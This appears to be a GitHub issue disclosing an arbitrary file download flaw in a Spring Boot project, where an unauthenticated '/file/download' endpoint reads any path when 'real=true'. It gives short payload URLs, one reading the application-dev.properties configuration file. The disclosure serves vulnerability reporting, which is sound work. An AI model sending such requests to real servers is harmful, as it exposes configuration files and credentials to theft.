Skip to content

There is a vulnerability in arbitrary file download in the system #18

Description

@haioudelibaiyi

Vulnerability exploitation points:
Com. Wstro. Controller. SysFileController# loopholes in the download points
bos = new BufferedOutputStream(response.getOutputStream());
bis = new BufferedInputStream(new FileInputStream(file));
The path does not belong to "/admin/", and any user can access /file/

Image

Image
"/file/download" receives two values, "name" and "real". When "real" equals true, the file can be read directly through the absolute path or the relative path.

Image

payload:
http://localhost/file/download?name=+"The path of the file to be read“
http://localhost/file/download?name=E:/xxx/SpringBoot_MyBatisPlus-master/SpringBoot_MyBatisPlus-master/src/main/resources/application-dev.properties&real=true

Image

Image

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

      Milestone

      No milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions